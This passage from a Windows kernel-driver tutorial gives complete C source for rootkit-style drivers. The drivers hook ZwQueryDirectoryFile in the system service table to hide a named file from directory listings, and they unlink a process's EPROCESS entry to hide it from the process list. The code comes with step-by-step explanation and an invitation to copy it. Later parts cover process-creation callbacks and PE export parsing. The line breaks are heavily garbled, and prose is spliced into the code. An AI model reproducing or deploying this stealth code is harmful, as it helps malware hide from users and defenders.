of the ZwLoadDriver and the CreateFile
function to make sure that there are no errors.
P64
r.c
#include
<ntddk.h>
#include
<stdio.h>
#include
<string.h>
int
inputBufferLength;
UNICODE_STRING
gDeviceName,gSymbolicLinkName,uStr;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
char
filename[100];
typedef
struct
{
ULONG
NextEntryOffset;
ULONG
FileIndex;
LARGE_INTEGER
CreationTime;
LARGE_INTEGER
LastAccessTime;
LARGE_INTEGER
LastWriteTime;
LARGE_INTEGER
ChangeTime;
LARGE_INTEGER
EndOfFile;
LARGE_INTEGER
AllocationSize;
ULONG
FileAttributes;
ULONG
FileNameLength;
ULONG
EaSize;
CCHAR
ShortNameLength;
WCHAR
ShortName[12];
WCHAR
FileName[1];
}FILE_BOTH_DIR_INFORMATION;
typedef
struct
{
unsigned
int *ServiceTableBase;
unsigned
int *ServiceCounterTableBase;
unsigned
int NumberOfServices;
unsigned
char *ParamTableBase;
}
sdt;
unsigned
short uFileName[128];
__declspec(dllimport)
sdt KeServiceDescriptorTable;
NTSYSAPI
NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
typedef
NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine, PVOID IoApcContext, PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
qtype
OldZwQueryDirectoryFile;
NTSTATUS
NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery)
{
NTSTATUS
rc;
rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
DbgPrint("FileInfoClass=%d
rc=%d\n",FileInfoClass,rc);
if(
rc == 0 && FileInfoClass == 3)
{
FILE_BOTH_DIR_INFORMATION
*p,*prev;
int
last = 0;
p
= prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;
while(!last)
{
if
( p->NextEntryOffset == 0)
last
= 1;
wcsncpy(uFileName,p->FileName,p->FileNameLength/2);
uFileName[p->FileNameLength/2]
= 0;
//DbgPrint("%S
Delta=%d",uFileName,p->NextEntryOffset);
if
(wcsncmp(p->FileName, uStr.Buffer ,inputBufferLength) == 0)
{
DbgPrint("Match
Found prev=%d p=%d last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);
if
( p->NextEntryOffset == 0)
prev->NextEntryOffset
= 0;
else
prev->NextEntryOffset
= prev->NextEntryOffset + p->NextEntryOffset;
}
prev
= p;
p
= (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);
}
}
return(rc);
}
long
no;
NTSTATUS
DriverDispatcher (PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION
irpStack;
//DbgPrint("DriverDispatcher");
irpStack
= IoGetCurrentIrpStackLocation (Irp);
DbgPrint("DriverDispatcher");
if
(irpStack->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
char
*inputBuffer;
ANSI_STRING
aStr;
inputBuffer
= Irp->AssociatedIrp.SystemBuffer;
inputBufferLength
= irpStack->Parameters.DeviceIoControl.InputBufferLength;
strncpy(filename,inputBuffer,
inputBufferLength);
filename[inputBufferLength]=0;
RtlInitAnsiString(&aStr,filename);
RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
//DbgPrint("%s
inputBufferLength=%d %s %S",filename,inputBufferLength,aStr.Buffer,uStr.Buffer);
}
Irp->IoStatus.Status
= STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQueryDirectoryFile;
_asm
sti
IoDeleteSymbolicLink(&gSymbolicLinkName);
IoDeleteDevice(gpDeviceObject);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char
*p;
DbgPrint("Vijay
1");
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
IoCreateDevice
(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
p
= (char *) ZwQueryDirectoryFile;
p
= p + 1;
no
= *(long *)p;
OldZwQueryDirectoryFile=
(qtype)KeServiceDescriptorTable. ServiceTableBase [no];
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQueryDirectoryFile;
_asm
sti
return(STATUS_SUCCESS);
}
This
program is more generic. We run the loader as y –I calc.exe and it hides
calc.exe for us. Lets see the changes made in each function. In DriverEntry
there is nothing new that we have done before. We simply create the symbolic
link so that we can have our ring 3 program talk to us. In DriverUnload we
simply delete the links as if we do not, a fresh copy of the driver does not
get loaded.
In
the DriverDispatcher code we first extract the name of the program in variable
inputBuffer and the length in inputBufferLength. As we have a ASCII string we
first copy this non null terminated string in a buffer filename using strncpy
and not strcpy using inputBufferLength as the no bytes to copy.
Then
we null terminate this buffer and then use the Rtl functions to first give us a
ANSI string and then a unicode string. We use the unicode string to compare the
file name in the NewZwQueryDirectoryFile function. This is how we convert the
ascii string passed from ring 3 to a unicode string in ring 0. Finally in the
wcsncmp function we use the uStr.Buffer for the name of the file to compare.
Thus we have a more generic file name hiding program.
P66
r.c
#include
<ntddk.h>
#include
<stdio.h>
#include
<string.h>
struct
process
{
char
a[156];
long
pid;
LIST_ENTRY
*Flink,*Blink;
};
struct
process *proc;
long
startpid;
int
inputBufferLength;
UNICODE_STRING
gDeviceName,gSymbolicLinkName,uStr;
PDEVICE_OBJECT
gpDeviceObject;
#define
DRV_NAME L"vijayd"
char
filename[100];
typedef
struct
{
ULONG
NextEntryOffset;
ULONG
FileIndex;
LARGE_INTEGER
CreationTime;
LARGE_INTEGER
LastAccessTime;
LARGE_INTEGER
LastWriteTime;
LARGE_INTEGER
ChangeTime;
LARGE_INTEGER
EndOfFile;
LARGE_INTEGER
AllocationSize;
ULONG
FileAttributes;
ULONG
FileNameLength;
ULONG
EaSize;
CCHAR
ShortNameLength;
WCHAR
ShortName[12];
WCHAR
FileName[1];
}FILE_BOTH_DIR_INFORMATION;
typedef
struct
{
unsigned
int *ServiceTableBase;
unsigned
int *ServiceCounterTableBase;
unsigned
int NumberOfServices;
unsigned
char *ParamTableBase;
}
sdt;
unsigned
short uFileName[128];
__declspec(dllimport)
sdt KeServiceDescriptorTable;
NTSYSAPI
NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
typedef
NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine, PVOID IoApcContext, PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
qtype
OldZwQueryDirectoryFile;
NTSTATUS
NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery)
{
NTSTATUS
rc;
rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
//DbgPrint("FileInfoClass=%d
rc=%d\n",FileInfoClass,rc);
if(
rc == 0 && FileInfoClass == 3)
{
FILE_BOTH_DIR_INFORMATION
*p,*prev;
int
last = 0;
p
= prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;
while(!last)
{
if
( p->NextEntryOffset == 0)
last
= 1;
wcsncpy(uFileName,p->FileName,p->FileNameLength/2);
uFileName[p->FileNameLength/2]
= 0;
//DbgPrint("%S
Delta=%d",uFileName,p->NextEntryOffset);
if
( wcsncmp(p->FileName,uStr.Buffer,inputBufferLength) == 0)
{
//DbgPrint("Match
Found prev=%d p=%d last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);
if
( p->NextEntryOffset == 0)
prev->NextEntryOffset
= 0;
else
prev->NextEntryOffset
= prev->NextEntryOffset + p->NextEntryOffset;
}
prev
= p;
p
= (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);
}
}
proc=
(struct process *) PsGetCurrentProcess ();
//DbgPrint("proc=%x
name=%s",proc,filename);
startpid
= proc->pid;
while
(1)
{
if
( strncmp(filename,(char *)proc + 508,inputBufferLength) == 0)
break;
proc
= (struct process *)( (char *)proc->Flink - 160);
if
( startpid == proc->pid)
break;
}
if
( startpid != proc->pid)
*((long
*)proc->Blink) = (long) proc->Flink;
return(rc);
}
long
no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION
irpStack;
//DbgPrint("DriverDispatcher");
irpStack
= IoGetCurrentIrpStackLocation (Irp);
DbgPrint("DriverDispatcher");
if
(irpStack->MajorFunction == IRP_MJ_CREATE)
DbgPrint("IRP_MJ_CREATE\n");
if
(irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
char
*inputBuffer;
ANSI_STRING
aStr;
inputBuffer
= Irp->AssociatedIrp.SystemBuffer;
inputBufferLength
= irpStack->Parameters.DeviceIoControl.InputBufferLength;
strncpy(filename,inputBuffer,inputBufferLength);
filename[inputBufferLength]=0;
RtlInitAnsiString(&aStr,filename);
RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
//DbgPrint("%s
inputBufferLength=%d %s
%S",filename,inputBufferLength,aStr.Buffer,uStr.Buffer);
}
Irp->IoStatus.Status
= STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQueryDirectoryFile;
_asm
sti
IoDeleteSymbolicLink(&gSymbolicLinkName);
IoDeleteDevice(gpDeviceObject);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char
*p;
DbgPrint("Vijay
2");
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= DriverDispatcher;
RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);
RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);
IoCreateDevice
(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);
IoCreateSymbolicLink(&gSymbolicLinkName,
&gDeviceName);
p
= (char *) ZwQueryDirectoryFile;
p
= p + 1;
no
= *(long *)p;
OldZwQueryDirectoryFile=
(qtype)KeServiceDescriptorTable. ServiceTableBase [no];
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQueryDirectoryFile;
_asm
sti
return(STATUS_SUCCESS);
}
Nothing
much to explain in the above program as they are a merger of two programs. We
create a global variable proc which is a pointer to our familiar structure
process. Each time we set the value to the variable PsGetCurrentProcess. We
then scan the circular link list until we come back to where we started.
Each
time we check for the ascii process name stored in filename and the one pointer
to by proc. If we meet a match we quit out and then when we are out of the for
loop we check if we got out of the for loop if we met a match. If yes, we take
the previous Blink and point it to Flink the next one. This error check we do
not have included in our earlier programs.
This
code should have actually been placed in the DriverDispatcher function as we
want it to be done just once. When we uninstall the driver, we do not get our
program name back as we have not saved where its EPROCESS structure is.
Maybe
we should have used ZwQuerySystemInformation with a value of 5. That code
uninstalls perfectly and thus you could cut copy paste that code instead.
P67
r.c
NTSTATUS
NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID
IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG
FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN
bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)
{
NTSTATUS
rc;
rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
//DbgPrint("FileInfoClass=%d
rc=%d\n",FileInfoClass,rc);
if(
rc == 0 && FileInfoClass == 3)
{
FILE_BOTH_DIR_INFORMATION
*p,*prev;
int
last = 0;
p
= prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;
while(!last)
{
if
( p->NextEntryOffset == 0)
last
= 1;
wcsncpy(uFileName,p->FileName,p->FileNameLength/2);
uFileName[p->FileNameLength/2]
= 0;
//DbgPrint("%S
Delta=%d",uFileName,p->NextEntryOffset);
if
( wcsncmp(p->FileName,uStr.Buffer,inputBufferLength) == 0)
{
if(
last )
{
if(
p == (FILE_BOTH_DIR_INFORMATION *) FileInformationBuffer )
rc
=0x80000006;
else
prev->NextEntryOffset
= 0;
break;
}
else
{
int
iPos = ((ULONG)p) - (ULONG) FileInformationBuffer;
int
iLeft = (long) FileInformationBufferLength - iPos - p->NextEntryOffset;
RtlCopyMemory(
p,(PVOID)( (char *)p + p->NextEntryOffset),(long)iLeft);
continue;
}
}
prev
= p;
p
= (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);
}
}
proc=
(struct process *)PsGetCurrentProcess();
//DbgPrint("proc=%x
name=%s",proc,filename);
startpid
= proc->pid;
while
(1)
{
if
( strncmp(filename,(char *)proc + 508,inputBufferLength) == 0)
break;
proc
= (struct process *)( (char *)proc->Flink - 160);
if
( startpid == proc->pid)
break;
}
if
( startpid != proc->pid)
*((long
*)proc->Blink) = (long) proc->Flink;
return(rc);
}
We
tried another way of hiding files using another piece of code that we got from
Greg Hogland. Lets look at his code first and tell you why things do not work.
The only change in code is in the if statement where we check for a file name
match. The last variable is 0 always and when it becomes one, we know that we
are on the last structure. Thus when the else gets called we know that the
match is not on the last file name.
The
variable p keeps going from file name structure to structure, but the variable FileInformationBuffer
is constant. Thus iPos which is the difference between p and
FileInformationBuffer tells us how bytes we have read or how many structures we
have seen. The size of each structure is different as the file names are
different.
Thus
if the first structure size is 100, the second 200 and our file name is the
third, iPos will be 300.
Then
we subtract FileInformationBufferLength the total length of all structures and
iPos which is what we have read to give us the total left. We also subtract
from here the size of the current file name structure that we are on.
Instead
of setting the NextEntryOffset of the previous guy and bypassing ourselves, why
not simply remove ourselves from the list by copying all the next structures
over us. Thus we will copy the next structure over us, the next next over the
next and so on. The RtlCopyMemory is a memcpy for the device driver world.
We
start with the destination which is the match file name structure, the source
is the current structure to which we add the offset to get at the next
structure from where we are. Thus we are copying from one structure ahead of
the match file name to the match file name structure starting point.
The
iLeft variable which we just computed is the amount to copy which is the amount
we have already read minus the size of the current structure which we are on
right now. Thus when we find a match in the middle, we copy the next structures
from the match over the match structure thereby eliminating ourselves the match
file name totally. However now the size of the Buffer is not what the parameter
says it is.
If
the first if statement is true, then we are on the last structure. The first
check is to check that p and the parameter FileInformationBuffer are the same.
If this is true, then there is only one item in the list. P and
FileInformationBuffer will be the for the first structure only. In English this
means that the we have only one file name in the list and this is the matching
filename. We cannot remove it from the list as it is the only one.
We
return a value of 0x80000006 which signifies an error. This will make sure that
the final program that will get this buffer will not display its contents. Thus
we have not displayed the file name. There is nothing else that we can do
because we cannot set the Buffer to 0. If the else is true, it means that we
have found a match on the last structure and it is not the first. We do what we
did earlier, i.e. set the previous structure to 0.
All’s
fine you say. The only problem is that when we use a query like dir calc*.* and
we have two files calc.exe and calc1.exe, both do not get displayed. The reason
being that its not our fault. When we specify a query like calc*.* with a
wildcard, the parameter PathMask now becomes non zero and you will see its
value is calc*.* if you display the Buffer member. The problem is that the
function NewZwQueryDirectoryFile gets called twice.
The
first time with 1 structure calc.exe and then again with calc1.exe. The first
time as it is the only one in the list we return a error. Thus the calling
program does not bother to call function ZwQueryDirectoryFile again and we see
no files names displayed. We scratched our heads but could come up with no
solution. We tries to zero out the structure, the entry yet gets displayed.
The
date which we will do later is of the 17th century and no file name
gets displayed. We realized it is better to live with this bug.
P68
r.c
#include
<ntddk.h>
int
gProcessNameOffset;PEPROCESS curproc;int i;char *p;
VOID
NotifyNow (HANDLE ParentId,HANDLE ProcessId,BOOLEAN Create)
{
PsLookupProcessByProcessId
((ULONG)ProcessId, &curproc);
p
= (char *)curproc;
DbgPrint("Parent=%d
Pid=%d Create=%d CurProc=%x",ParentId,ProcessId,Create,curproc);
if
( Create == 1)
{
p
+= gProcessNameOffset;
DbgPrint("%s",p);
}
}
VOID
ProcessUnload(IN PDRIVER_OBJECT DriverObject)
{
PsSetCreateProcessNotifyRoutine(NotifyNow,1);
DbgPrint("ProcessUnload");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
curproc
= PsGetCurrentProcess();
for(
i = 0; i < 3*PAGE_SIZE; i++ )
{
if(
!strncmp("System", (PCHAR) curproc + i, strlen("System")))
{
gProcessNameOffset
= i;
break;
}
}
DbgPrint("Vijay3
%d",gProcessNameOffset);
PsSetCreateProcessNotifyRoutine
(NotifyNow,0);
DriverObject->DriverUnload
= ProcessUnload;
return
STATUS_SUCCESS;
}
The
device driver guys at Microsoft gave us a simple function
PsSetCreateProcessNotifyRoutine that may have a long name but simply calls a function
of our choice each time we either start a process or shut it down. Thus in our
case it will call a function NotifyNow, the 0 following is to add this function
to the list of callback function names maintained internally.
In
function ProcessUnload we use a 1 which means remove the function name from the
list. We also find the offset of the function name from the EPROCESS
structure. Thus each time a process
gets created or shut down, the function NotifyNow is called with three
parameters. The last is 1 or 0, 1 signifying a process is being created.
The
first two parameters are handles of the current process and the parent process.
Handles are opaque and of no use to us. We use the undocumented function
PsLookupProcessByProcessId which given a handle converts it in to a EPROCESS
pointer. We then display the name of the process only if the last parameter
Create is 1 as when it is zero there is no name.
Thus
we are only notified whenever a process
is being created or dying. We can not stop or influence anything.
P69
r.c
#include
<ntddk.h>
int
gProcessNameOffset;PEPROCESS curproc;int i;char *p;
VOID
NotifyNow (HANDLE ProcessId,HANDLE ThreadId,BOOLEAN Create)
{
PsLookupProcessByProcessId
((ULONG)ProcessId, &curproc);
p
= (char *)curproc;
DbgPrint("Pid=%d
Create=%d CurProc=%x ThreadID=%d",ProcessId,Create,curproc,ThreadId);
if
( Create == 1)
{
p
+= gProcessNameOffset;
DbgPrint("%s",p);
}
}
VOID
ProcessUnload(IN PDRIVER_OBJECT DriverObject)
{
PsSetCreateProcessNotifyRoutine(NotifyNow,1);
DbgPrint("ProcessUnload");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
curproc
= PsGetCurrentProcess();
for(
i = 0; i < 3*PAGE_SIZE; i++ )
{
if(
!strncmp("System", (PCHAR) curproc + i, strlen("System")))
{
gProcessNameOffset
= i;
break;
}
}
DbgPrint("Vijay3
%d",gProcessNameOffset);
PsSetCreateThreadNotifyRoutine(NotifyNow);
DriverObject->DriverUnload
= ProcessUnload;
return
STATUS_SUCCESS;
}
Pid=1420
Create=1 CurProc=81af6d60 ThreadID=1308
getright.exe
Pid=1276
Create=1 CurProc=81b2e860 ThreadID=1132
mcvsshld.exe
Pid=440
Create=1 CurProc=81ec8780 ThreadID=1140
svchost.exe
Most
of the above program remains the same other than one new function
PsSetCreateThreadNotifyRoutine. This function unlike the previous one takes
only one parameter the name of the callback function to be called. Thus we are
not allowed to unload such a driver until we shut the system down. The thread
callback function gets called with three parameters two the same as before and
the third is the thread id.
If
we look at the output we can see which process is creating or deleting a
thread. We did what we asked you not to do, run y –u. The Blue Screen of Death
happened. The system was kind enough to tell us that the offending driver was
vijay.sys and also that we should not have unloaded our driver as there were
operations pending.
The
only problem was that when we rebooted, this chapter disappeared from the face
of the earth. Fortunately for us, there was a funny looking temp file which we
renamed to chap3 and we got back our work lost. So please do not unload the
driver as God only knows what will happen.
#include
<windows.h>
main()
{
HANDLE
i,j;
i
= GetModuleHandle ("ntdll.dll");
j
= LoadLibrary("ntdll.dll");
printf("%x
%x",i,j);
}
77f80000
77f80000
There
are two ways we know of knowing where a dll is loaded in memory. The function
GetModuleHandle returns the address of the dll in memory whereas function
GetModuleHandle will load the dll in memory if not loaded and then return to us
the address. Ntdll.dll along with kernel32.dll is loaded by windows at startup.
#include
<windows.h>
void DisplayFunc(PVOID Base)
{
Every
DLL or exe file has a certain structure that is well documented. The dll
ntdll.dll is loaded in memory at location 77f80000 stored in variable Base. The
first two bytes are M and Z and the structure that starts here is documented in
the header files as IMAGE_DOS_HEADER. This is a good old dos header and the
member e_lfanew tells us where the actual PE header starts. This header has a
magic number of PE00. A small structure defined as IMAGE_FILE_HEADER starts
here. This is a small structure followed by a large 224 bytes structure called
IMAGE_OPRIONAL_HEADER.
PIMAGE_DOS_HEADER
dos = (PIMAGE_DOS_HEADER) Base;
PIMAGE_NT_HEADERS
nt = (PIMAGE_NT_HEADERS)(((char *)Base) + dos-> e_lfanew);
PIMAGE_DATA_DIRECTORY
expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
ULONG
size = expdir->Size;
ULONG
addr = expdir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY
exports = (PIMAGE_EXPORT_DIRECTORY)(((char *)(Base))+ addr);
PULONG
functions = (PULONG)(((char *)Base) + exports->AddressOfFunctions);
PSHORT
ordinals = (PSHORT)(((char *)Base)+ exports->AddressOfNameOrdinals);
PULONG
names = (PULONG)(((char *)Base)+ exports->AddressOfNames);
PVOID
func=NULL;
ULONG
i;
for
(i=0; i<exports->NumberOfNames; i++)
{
ULONG
ord = ordinals[i];
if
(functions[ord] < addr || functions[ord]>=addr+size)
{
printf("%s
%x\n",(char *)Base + names[i],functions[ord]);
}
}
}
main()
{
HANDLE
j;
j
= LoadLibrary("ntdll.dll");
DisplayFunc(j);
}
DbgBreakPoint
2144b
DbgPrint
18c08
DbgPrintReturnControlC
21504
We
have written a lot in the past on PE files and if you find the explanation too
terse we would like you to move to our site where we have long tutorials on PE
files.